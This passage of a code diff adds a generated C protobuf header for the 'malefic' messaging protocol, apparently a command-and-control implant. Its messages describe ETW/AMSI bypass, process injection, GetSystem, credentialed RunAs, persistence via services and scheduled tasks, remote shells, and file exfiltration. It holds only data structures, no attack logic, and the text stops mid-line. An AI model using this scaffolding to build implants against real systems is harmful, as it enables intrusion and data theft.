+X(a, STATIC, OPTIONAL, MESSAGE, sysinfo, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, secure, 12) +#define malefic_Register_CALLBACK NULL +#define malefic_Register_DEFAULT NULL +#define malefic_Register_addons_MSGTYPE malefic_Addon +#define malefic_Register_timer_MSGTYPE malefic_Timer +#define malefic_Register_sysinfo_MSGTYPE malefic_SysInfo +#define malefic_Register_secure_MSGTYPE malefic_Secure + +#define malefic_Secure_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, enable, 1) \ +X(a, STATIC, SINGULAR, STRING, key, 2) \ +X(a, STATIC, SINGULAR, STRING, type, 3) \ +X(a, STATIC, SINGULAR, STRING, public_key, 4) +#define malefic_Secure_CALLBACK NULL +#define malefic_Secure_DEFAULT NULL + +#define malefic_KeyExchangeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) \ +X(a, STATIC, SINGULAR, BYTES, signature, 2) \ +X(a, STATIC, SINGULAR, UINT64, timestamp, 3) \ +X(a, STATIC, SINGULAR, STRING, nonce, 4) +#define malefic_KeyExchangeRequest_CALLBACK NULL +#define malefic_KeyExchangeRequest_DEFAULT NULL + +#define malefic_KeyExchangeResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) +#define malefic_KeyExchangeResponse_CALLBACK NULL +#define malefic_KeyExchangeResponse_DEFAULT NULL + +#define malefic_Init_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) +#define malefic_Init_CALLBACK NULL +#define malefic_Init_DEFAULT NULL + +#define malefic_SysInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, filepath, 1) \ +X(a, STATIC, SINGULAR, STRING, workdir, 2) \ +X(a, STATIC, SINGULAR, BOOL, is_privilege, 3) \ +X(a, STATIC, OPTIONAL, MESSAGE, os, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, process, 12) +#define malefic_SysInfo_CALLBACK NULL +#define malefic_SysInfo_DEFAULT NULL +#define malefic_SysInfo_os_MSGTYPE malefic_Os +#define malefic_SysInfo_process_MSGTYPE malefic_Process + +#define malefic_Suicide_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, type, 1) \ +X(a, STATIC, SINGULAR, INT64, timestamp, 2) +#define malefic_Suicide_CALLBACK NULL +#define malefic_Suicide_DEFAULT NULL + +#define malefic_Request_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, input, 2) \ +X(a, STATIC, REPEATED, STRING, args, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) \ +X(a, STATIC, SINGULAR, BYTES, bin, 5) +#define malefic_Request_CALLBACK pb_default_field_callback +#define malefic_Request_DEFAULT NULL +#define malefic_Request_params_MSGTYPE malefic_Request_ParamsEntry + +#define malefic_Request_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Request_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_Request_ParamsEntry_DEFAULT NULL + +#define malefic_Response_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, output, 1) \ +X(a, STATIC, SINGULAR, STRING, error, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, kv, 3) \ +X(a, STATIC, REPEATED, STRING, array, 4) +#define malefic_Response_CALLBACK pb_default_field_callback +#define malefic_Response_DEFAULT NULL +#define malefic_Response_kv_MSGTYPE malefic_Response_KvEntry + +#define malefic_Response_KvEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Response_KvEntry_CALLBACK pb_default_field_callback +#define malefic_Response_KvEntry_DEFAULT NULL + +#define malefic_BypassRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, ETW, 1) \ +X(a, STATIC, SINGULAR, BOOL, AMSI, 2) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 3) +#define malefic_BypassRequest_CALLBACK NULL +#define malefic_BypassRequest_DEFAULT NULL + +#define malefic_NetInterface_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, index, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, STRING, mac, 3) \ +X(a, STATIC, REPEATED, STRING, ip_addresses, 4) +#define malefic_NetInterface_CALLBACK NULL +#define malefic_NetInterface_DEFAULT NULL + +#define malefic_SockTabEntry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, local_addr, 1) \ +X(a, STATIC, SINGULAR, STRING, remote_addr, 2) \ +X(a, STATIC, SINGULAR, STRING, skState, 3) \ +X(a, STATIC, SINGULAR, STRING, pid, 5) \ +X(a, STATIC, SINGULAR, STRING, protocol, 6) +#define malefic_SockTabEntry_CALLBACK NULL +#define malefic_SockTabEntry_DEFAULT NULL + +#define malefic_NetstatResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, socks, 1) +#define malefic_NetstatResponse_CALLBACK NULL +#define malefic_NetstatResponse_DEFAULT NULL +#define malefic_NetstatResponse_socks_MSGTYPE malefic_SockTabEntry + +#define malefic_Block_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, block_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, content, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_Block_CALLBACK NULL +#define malefic_Block_DEFAULT NULL + +#define malefic_ACK_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, id, 1) \ +X(a, STATIC, SINGULAR, BOOL, success, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_ACK_CALLBACK NULL +#define malefic_ACK_DEFAULT NULL + +#define malefic_Os_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, version, 2) \ +X(a, STATIC, SINGULAR, STRING, release, 3) \ +X(a, STATIC, SINGULAR, STRING, arch, 4) \ +X(a, STATIC, SINGULAR, STRING, username, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) \ +X(a, STATIC, SINGULAR, STRING, locale, 7) \ +X(a, STATIC, REPEATED, STRING, clr_version, 8) +#define malefic_Os_CALLBACK NULL +#define malefic_Os_DEFAULT NULL + +#define malefic_Process_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 3) \ +X(a, STATIC, SINGULAR, STRING, owner, 4) \ +X(a, STATIC, SINGULAR, STRING, arch, 5) \ +X(a, STATIC, SINGULAR, STRING, path, 6) \ +X(a, STATIC, SINGULAR, STRING, args, 7) \ +X(a, STATIC, SINGULAR, STRING, uid, 8) +#define malefic_Process_CALLBACK NULL +#define malefic_Process_DEFAULT NULL + +#define malefic_Timer_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, expression, 1) \ +X(a, STATIC, SINGULAR, DOUBLE, jitter, 2) +#define malefic_Timer_CALLBACK NULL +#define malefic_Timer_DEFAULT NULL + +#define malefic_FileInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Name, 1) \ +X(a, STATIC, SINGULAR, BOOL, IsDir, 2) \ +X(a, STATIC, SINGULAR, UINT64, Size, 3) \ +X(a, STATIC, SINGULAR, INT64, ModTime, 4) \ +X(a, STATIC, SINGULAR, UINT32, Mode, 5) \ +X(a, STATIC, SINGULAR, STRING, Link, 6) +#define malefic_FileInfo_CALLBACK NULL +#define malefic_FileInfo_DEFAULT NULL + +#define malefic_SacrificeProcess_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 1) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 2) \ +X(a, STATIC, SINGULAR, BOOL, etw, 3) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 4) \ +X(a, STATIC, SINGULAR, STRING, argue, 5) +#define malefic_SacrificeProcess_CALLBACK NULL +#define malefic_SacrificeProcess_DEFAULT NULL + +#define malefic_LsResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Path, 1) \ +X(a, STATIC, SINGULAR, BOOL, Exists, 2) \ +X(a, STATIC, REPEATED, MESSAGE, Files, 3) +#define malefic_LsResponse_CALLBACK NULL +#define malefic_LsResponse_DEFAULT NULL +#define malefic_LsResponse_Files_MSGTYPE malefic_FileInfo + +#define malefic_DriveInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, drive_type, 2) \ +X(a, STATIC, SINGULAR, UINT64, total_size, 3) \ +X(a, STATIC, SINGULAR, UINT64, free_size, 4) \ +X(a, STATIC, SINGULAR, STRING, file_system, 5) +#define malefic_DriveInfo_CALLBACK NULL +#define malefic_DriveInfo_DEFAULT NULL + +#define malefic_EnumDriversResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, drives, 1) +#define malefic_EnumDriversResponse_CALLBACK NULL +#define malefic_EnumDriversResponse_DEFAULT NULL +#define malefic_EnumDriversResponse_drives_MSGTYPE malefic_DriveInfo + +#define malefic_PsResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, processes, 1) +#define malefic_PsResponse_CALLBACK NULL +#define malefic_PsResponse_DEFAULT NULL +#define malefic_PsResponse_processes_MSGTYPE malefic_Process + +#define malefic_ExecRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) \ +X(a, STATIC, SINGULAR, BOOL, output, 3) \ +X(a, STATIC, SINGULAR, BOOL, singleton, 4) \ +X(a, STATIC, SINGULAR, BOOL, realtime, 5) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 10) +#define malefic_ExecRequest_CALLBACK NULL +#define malefic_ExecRequest_DEFAULT NULL + +#define malefic_ExecResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, status_code, 1) \ +X(a, STATIC, SINGULAR, BYTES, stdout, 2) \ +X(a, STATIC, SINGULAR, BYTES, stderr, 3) \ +X(a, STATIC, SINGULAR, UINT32, pid, 4) \ +X(a, STATIC, SINGULAR, BOOL, end, 5) +#define malefic_ExecResponse_CALLBACK NULL +#define malefic_ExecResponse_DEFAULT NULL + +#define malefic_BinaryResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) \ +X(a, STATIC, SINGULAR, BYTES, message, 2) \ +X(a, STATIC, SINGULAR, INT32, status, 3) \ +X(a, STATIC, SINGULAR, STRING, err, 4) +#define malefic_BinaryResponse_CALLBACK NULL +#define malefic_BinaryResponse_DEFAULT NULL + +#define malefic_Modules_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, modules, 1) +#define malefic_Modules_CALLBACK NULL +#define malefic_Modules_DEFAULT NULL + +#define malefic_Addons_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 1) +#define malefic_Addons_CALLBACK NULL +#define malefic_Addons_DEFAULT NULL +#define malefic_Addons_addons_MSGTYPE malefic_Addon + +#define malefic_Addon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) +#define malefic_Addon_CALLBACK NULL +#define malefic_Addon_DEFAULT NULL + +#define malefic_LoadModule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, bundle, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) +#define malefic_LoadModule_CALLBACK NULL +#define malefic_LoadModule_DEFAULT NULL + +#define malefic_LoadAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) \ +X(a, STATIC, SINGULAR, BYTES, bin, 4) +#define malefic_LoadAddon_CALLBACK NULL +#define malefic_LoadAddon_DEFAULT NULL + +#define malefic_ExecuteAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, addon, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, execute_binary, 2) +#define malefic_ExecuteAddon_CALLBACK NULL +#define malefic_ExecuteAddon_DEFAULT NULL +#define malefic_ExecuteAddon_execute_binary_MSGTYPE malefic_ExecuteBinary + +#define malefic_ExecuteBinary_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, param, 3) \ +X(a, STATIC, SINGULAR, STRING, type, 4) \ +X(a, STATIC, SINGULAR, STRING, process_name, 5) \ +X(a, STATIC, REPEATED, STRING, args, 6) \ +X(a, STATIC, SINGULAR, STRING, entry_point, 7) \ +X(a, STATIC, SINGULAR, BYTES, data, 8) \ +X(a, STATIC, SINGULAR, BOOL, output, 9) \ +X(a, STATIC, SINGULAR, UINT32, arch, 10) \ +X(a, STATIC, SINGULAR, UINT32, timeout, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 12) \ +X(a, STATIC, SINGULAR, STRING, path, 13) \ +X(a, STATIC, SINGULAR, STRING, context, 14) \ +X(a, STATIC, SINGULAR, UINT32, delay, 15) +#define malefic_ExecuteBinary_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_DEFAULT NULL +#define malefic_ExecuteBinary_param_MSGTYPE malefic_ExecuteBinary_ParamEntry +#define malefic_ExecuteBinary_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_ExecuteBinary_ParamEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_ExecuteBinary_ParamEntry_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_ParamEntry_DEFAULT NULL + +#define malefic_ExecuteCommand_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, command, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 2) +#define malefic_ExecuteCommand_CALLBACK NULL +#define malefic_ExecuteCommand_DEFAULT NULL +#define malefic_ExecuteCommand_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_UploadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, UINT32, priv, 3) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 5) \ +X(a, STATIC, SINGULAR, BOOL, override, 6) +#define malefic_UploadRequest_CALLBACK NULL +#define malefic_UploadRequest_DEFAULT NULL + +#define malefic_DownloadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, UINT32, buffer_size, 3) \ +X(a, STATIC, SINGULAR, BOOL, dir, 4) \ +X(a, STATIC, SINGULAR, INT32, cur, 5) +#define malefic_DownloadRequest_CALLBACK NULL +#define malefic_DownloadRequest_DEFAULT NULL + +#define malefic_DownloadResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, checksum, 1) \ +X(a, STATIC, SINGULAR, UINT64, size, 2) \ +X(a, STATIC, SINGULAR, INT32, cur, 3) \ +X(a, STATIC, SINGULAR, BYTES, content, 4) +#define malefic_DownloadResponse_CALLBACK NULL +#define malefic_DownloadResponse_DEFAULT NULL + +#define malefic_CurlRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, url, 1) \ +X(a, STATIC, SINGULAR, INT32, timeout, 2) \ +X(a, STATIC, SINGULAR, STRING, method, 3) \ +X(a, STATIC, SINGULAR, BYTES, body, 4) \ +X(a, CALLBACK, REPEATED, MESSAGE, header, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) +#define malefic_CurlRequest_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_DEFAULT NULL +#define malefic_CurlRequest_header_MSGTYPE malefic_CurlRequest_HeaderEntry + +#define malefic_CurlRequest_HeaderEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_CurlRequest_HeaderEntry_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_HeaderEntry_DEFAULT NULL + +#define malefic_ChownRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, uid, 2) \ +X(a, STATIC, SINGULAR, STRING, gid, 3) \ +X(a, STATIC, SINGULAR, BOOL, recursive, 4) +#define malefic_ChownRequest_CALLBACK NULL +#define malefic_ChownRequest_DEFAULT NULL + +#define malefic_IfconfigResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, net_interfaces, 1) +#define malefic_IfconfigResponse_CALLBACK NULL +#define malefic_IfconfigResponse_DEFAULT NULL +#define malefic_IfconfigResponse_net_interfaces_MSGTYPE malefic_NetInterface + +#define malefic_RegistryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, registry, 2) +#define malefic_RegistryRequest_CALLBACK NULL +#define malefic_RegistryRequest_DEFAULT NULL +#define malefic_RegistryRequest_registry_MSGTYPE malefic_Registry + +#define malefic_Registry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) +#define malefic_Registry_CALLBACK NULL +#define malefic_Registry_DEFAULT NULL + +#define malefic_RegistryWriteRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) \ +X(a, STATIC, SINGULAR, STRING, string_value, 5) \ +X(a, STATIC, SINGULAR, BYTES, byte_value, 6) \ +X(a, STATIC, SINGULAR, UINT32, dword_value, 7) \ +X(a, STATIC, SINGULAR, UINT64, qword_value, 8) \ +X(a, STATIC, SINGULAR, UINT32, regtype, 10) +#define malefic_RegistryWriteRequest_CALLBACK NULL +#define malefic_RegistryWriteRequest_DEFAULT NULL + +#define malefic_TaskScheduleRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, taskschd, 2) +#define malefic_TaskScheduleRequest_CALLBACK NULL +#define malefic_TaskScheduleRequest_DEFAULT NULL +#define malefic_TaskScheduleRequest_taskschd_MSGTYPE malefic_TaskSchedule + +#define malefic_TaskSchedule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, trigger_type, 4) \ +X(a, STATIC, SINGULAR, STRING, start_boundary, 5) \ +X(a, STATIC, SINGULAR, STRING, description, 6) \ +X(a, STATIC, SINGULAR, BOOL, enabled, 7) \ +X(a, STATIC, SINGULAR, STRING, last_run_time, 8) \ +X(a, STATIC, SINGULAR, STRING, next_run_time, 9) +#define malefic_TaskSchedule_CALLBACK NULL +#define malefic_TaskSchedule_DEFAULT NULL + +#define malefic_TaskSchedulesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, schedules, 1) +#define malefic_TaskSchedulesResponse_CALLBACK NULL +#define malefic_TaskSchedulesResponse_DEFAULT NULL +#define malefic_TaskSchedulesResponse_schedules_MSGTYPE malefic_TaskSchedule + +#define malefic_ServiceRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, service, 2) +#define malefic_ServiceRequest_CALLBACK NULL +#define malefic_ServiceRequest_DEFAULT NULL +#define malefic_ServiceRequest_service_MSGTYPE malefic_ServiceConfig + +#define malefic_ServiceConfig_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, display_name, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, start_type, 4) \ +X(a, STATIC, SINGULAR, UINT32, error_control, 5) \ +X(a, STATIC, SINGULAR, STRING, account_name, 6) +#define malefic_ServiceConfig_CALLBACK NULL +#define malefic_ServiceConfig_DEFAULT NULL + +#define malefic_ServiceStatus_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, current_state, 1) \ +X(a, STATIC, SINGULAR, UINT32, process_id, 2) \ +X(a, STATIC, SINGULAR, UINT32, exit_code, 3) \ +X(a, STATIC, SINGULAR, UINT32, checkpoint, 4) \ +X(a, STATIC, SINGULAR, UINT32, wait_hint, 5) +#define malefic_ServiceStatus_CALLBACK NULL +#define malefic_ServiceStatus_DEFAULT NULL + +#define malefic_Service_FIELDLIST(X, a) \ +X(a, STATIC, OPTIONAL, MESSAGE, config, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, status, 2) +#define malefic_Service_CALLBACK NULL +#define malefic_Service_DEFAULT NULL +#define malefic_Service_config_MSGTYPE malefic_ServiceConfig +#define malefic_Service_status_MSGTYPE malefic_ServiceStatus + +#define malefic_ServicesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, services, 1) +#define malefic_ServicesResponse_CALLBACK NULL +#define malefic_ServicesResponse_DEFAULT NULL +#define malefic_ServicesResponse_services_MSGTYPE malefic_Service + +#define malefic_WmiQueryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) +#define malefic_WmiQueryRequest_CALLBACK NULL +#define malefic_WmiQueryRequest_DEFAULT NULL + +#define malefic_WmiMethodRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, SINGULAR, STRING, class_name, 2) \ +X(a, STATIC, SINGULAR, STRING, method_name, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) +#define malefic_WmiMethodRequest_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_DEFAULT NULL +#define malefic_WmiMethodRequest_params_MSGTYPE malefic_WmiMethodRequest_ParamsEntry + +#define malefic_WmiMethodRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_WmiMethodRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_ParamsEntry_DEFAULT NULL + +#define malefic_RunAsRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, username, 1) \ +X(a, STATIC, SINGULAR, STRING, domain, 2) \ +X(a, STATIC, SINGULAR, STRING, password, 3) \ +X(a, STATIC, SINGULAR, STRING, program, 4) \ +X(a, STATIC, SINGULAR, STRING, args, 5) \ +X(a, STATIC, SINGULAR, BOOL, use_profile, 6) \ +X(a, STATIC, SINGULAR, BOOL, netonly, 7) \ +X(a, STATIC, SINGULAR, BOOL, use_env, 8) +#define malefic_RunAsRequest_CALLBACK NULL +#define malefic_RunAsRequest_DEFAULT NULL + +#define malefic_GetSystem_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_GetSystem_CALLBACK NULL +#define malefic_GetSystem_DEFAULT NULL + +#define malefic_Inject_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_Inject_CALLBACK NULL +#define malefic_Inject_DEFAULT NULL + +#define malefic_Pipe_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) +#define malefic_Pipe_CALLBACK NULL +#define malefic_Pipe_DEFAULT NULL + +#define malefic_PipeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, pipe, 2) +#define malefic_PipeRequest_CALLBACK NULL +#define malefic_PipeRequest_DEFAULT NULL +#define malefic_PipeRequest_pipe_MSGTYPE malefic_Pipe + +#define malefic_Switch_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, urls, 1) +#define malefic_Switch_CALLBACK NULL +#define malefic_Switch_DEFAULT NULL + +#define malefic_TaskCtrl_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, STRING, op, 2) +#define malefic_TaskCtrl_CALLBACK NULL +#define malefic_TaskCtrl_DEFAULT NULL + +#define malefic_TaskInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, UINT64, last, 2) \ +X(a, STATIC, SINGULAR, UINT32, recv_count, 3) \ +X(a, STATIC, SINGULAR, UINT32, send_count, 4) +#define malefic_TaskInfo_CALLBACK NULL +#define malefic_TaskInfo_DEFAULT NULL + +#define malefic_TaskListResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, tasks, 1) +#define malefic_TaskListResponse_CALLBACK NULL +#define malefic_TaskListResponse_DEFAULT NULL +#define malefic_TaskListResponse_tasks_MSGTYPE malefic_TaskInfo + +#define malefic_FFmpegRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, action, 1) \ +X(a, STATIC, SINGULAR, STRING, device_name, 2) \ +X(a, STATIC, SINGULAR, STRING, output_format, 3) \ +X(a, STATIC, SINGULAR, STRING, output_path, 4) \ +X(a, STATIC, SINGULAR, STRING, time, 5) +#define malefic_FFmpegRequest_CALLBACK NULL +#define malefic_FFmpegRequest_DEFAULT NULL + +#define malefic_PtyRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, SINGULAR, STRING, session_id, 2) \ +X(a, STATIC, SINGULAR, STRING, shell, 3) \ +X(a, STATIC, SINGULAR, UINT32, cols, 4) \ +X(a, STATIC, SINGULAR, UINT32, rows, 5) \ +X(a, STATIC, SINGULAR, BYTES, input_data, 6) \ +X(a, STATIC, SINGULAR, STRING, input_text, 7) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 8) +#define malefic_PtyRequest_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_DEFAULT NULL +#define malefic_PtyRequest_params_MSGTYPE malefic_PtyRequest_ParamsEntry + +#define malefic_PtyRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_ParamsEntry_DEFAULT NULL + +#define malefic_PtyResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, session_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, output_data, 2) \ +X(a, STATIC, SINGULAR, STRING, output_text, 3) \ +X(a, STATIC, SINGULAR, STRING, error, 4) \ +X(a, STATIC, SINGULAR, BOOL, session_active, 5) \ +X(a, STATIC, REPEATED, STRING, active_sessions, 6) \ +X(a, CALLBACK, REPEATED, MESSAGE, metadata, 7) +#define malefic_PtyResponse_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_DEFAULT NULL +#define malefic_PtyResponse_metadata_MSGTYPE malefic_PtyResponse_MetadataEntry + +#define malefic_PtyResponse_MetadataEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyResponse_MetadataEntry_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_MetadataEntry_DEFAULT NULL + +#define malefic_CommonBody_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, REPEATED, UINT32, u32_array, 2) \ +X(a, STATIC, REPEATED, UINT64, u64_array, 4) \ +X(a, STATIC, REPEATED, BOOL, bool_array, 6) \ +X(a, STATIC, REPEATED, STRING, string_array, 8) \ +X(a, STATIC, REPEATED, BYTES, bytes_array, 10) +#define malefic_CommonBody_CALLBACK NULL +#define malefic_CommonBody_DEFAULT NULL + +extern const pb_msgdesc_t malefic_Ping_msg; +extern const pb_msgdesc_t malefic_Register_msg; +extern const pb_msgdesc_t malefic_Secure_msg; +extern const pb_msgdesc_t malefic_KeyExchangeRequest_msg; +extern const pb_msgdesc_t malefic_KeyExchangeResponse_msg; +extern const pb_msgdesc_t malefic_Init_msg; +extern const pb_msgdesc_t malefic_SysInfo_msg; +extern const pb_msgdesc_t malefic_Suicide_msg; +extern const pb_msgdesc_t malefic_Request_msg; +extern const pb_msgdesc_t malefic_Request_ParamsEntry_msg; +extern const pb_msgdesc_t 